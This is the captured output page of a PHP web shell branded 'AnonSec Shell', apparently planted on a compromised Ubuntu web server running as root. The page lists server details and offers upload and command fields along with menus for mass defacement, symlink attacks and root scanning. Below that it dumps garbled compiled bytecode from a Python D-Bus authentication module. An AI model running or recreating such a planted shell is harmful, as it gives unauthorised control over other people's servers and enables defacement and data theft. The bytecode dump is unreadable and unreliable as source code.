AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/jeepney/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/jeepney/__pycache__/auth.cpython-310.pyc
o

���`E�@s�ddlmZddlmZddlZddlmZdefdd�Zdefdd	�Z	d
Z
dZGdd
�d
e�ZGdd�de
�ZGdd�de�ZGdd�d�ZeZdS)�)�hexlify)�EnumN)�Optional�returncCsttt����d��}d|S)z�Prepare an AUTH command line with the current effective user ID.

    This is the preferred authentication method for typical D-Bus connections
    over a Unix domain socket.
    �asciisAUTH EXTERNAL %b
)r�str�os�geteuid�encode)�hex_uid�r�./usr/lib/python3/dist-packages/jeepney/auth.py�make_auth_externalsrcCs&ddlm}td|�d��}d|S)z�Format an AUTH command line for the ANONYMOUS mechanism

    Jeepney's higher-level wrappers don't currently use this mechanism,
    but third-party code may choose to.

    See <https://tools.ietf.org/html/rfc4505> for details.
    �)�__version__z
Jeepney %srsAUTH ANONYMOUS %s
)�rrr
)r�tracerrr
�make_auth_anonymoussrsBEGIN
sNEGOTIATE_UNIX_FD
c@s eZdZdZdZdZdZdZdS)�ClientStater����N)�__name__�
__module__�__qualname__�WaitingForData�WaitingForOk�WaitingForReject�WaitingForAgreeUnixFD�Successrrrr
rsrc@s"eZdZdZddd�Zdd�ZdS)	�AuthenticationErrorz%Raised when DBus authentication fails�Authentication failedcCs||_||_dS�N��msg�data)�selfr&r%rrr
�__init__(s
zAuthenticationError.__init__cCs|j�d|j��S)Nz. Bus sent: r$�r'rrr
�__str__,szAuthenticationError.__str__N)r")rrr�__doc__r(r*rrrr
r!&s
r!cs eZdZdZ�fdd�Z�ZS)�FDNegotiationErrorzBRaised when file descriptor support is requested but not availablecst�j|dd�dS)Nz%File descriptor support not available)r%)�superr()r'r&��	__class__rr
r(1szFDNegotiationError.__init__)rrrr+r(�
__classcell__rrr.r
r,/sr,c@sVeZdZdZddd�Zedd��Zdd�Zd	ee	fd
d�Z
dd
�Zde	fdd�ZdS)�
Authenticatorz�Process data for the SASL authentication conversation

    If enable_fds is True, this includes negotiating support for passing
    file descriptors.
    FcCs,||_t�|_dt�|_tj|_d|_dS)N�)	�
enable_fds�	bytearray�bufferr�_to_sendrr�state�error)r'r3rrr
r(;s

zAuthenticator.__init__cCs|jtjuSr#)r7rr r)rrr
�
authenticatedBszAuthenticator.authenticatedcCst|jd�Sr#)�iter�data_to_sendr)rrr
�__iter__FszAuthenticator.__iter__rcCs"|js|jrdSd|j|_}|S)a�Get a line of data to send to the server

        The data returned should be sent before waiting to receive data.
        Returns empty bytes if waiting for more data from the server, and None
        if authentication is finished (success or error).

        Iterating over the Authenticator object will also yield these lines;
        :meth:`feed` should be called with received data inside the loop.
        N�)r9r8r6)r'�to_sendrrr
r;Is
zAuthenticator.data_to_sendcCsn|jtjur|�d�r|jrttjfSttjfSn|jtjur0|�d�r)ttjfS||_	t
|��||_	t|��)NsOK s
AGREE_UNIX_FD)r7rr�
startswithr3�NEGOTIATE_UNIX_FDr�BEGINr r8r,r!)r'�linerrr
�process_lineXs


�

zAuthenticator.process_liner&cCsr|j|7_d|jvr*|j�dd�\}|_|jrt|jd��|�|�\|_|_dSt|j�dkr7t|jd��dS)z�Process received data

        Raises AuthenticationError if the incoming data is not as expected for
        successful authentication. The connection should then be abandoned.
        s
rzUnexpected data receivedi z*Too much data received without line endingN)r5�splitr!rCr6r7�len)r'r&rBrrr
�feedns
��zAuthenticator.feedN)F)
rrrr+r(�propertyr9r<r�bytesr;rCrFrrrr
r15s

r1)�binasciir�enumrr�typingrrHrrrAr@r�
ValueErrorr!r,r1�
SASLParserrrrr
�<module>s		S

Anon7 - 2022
AnonSec Team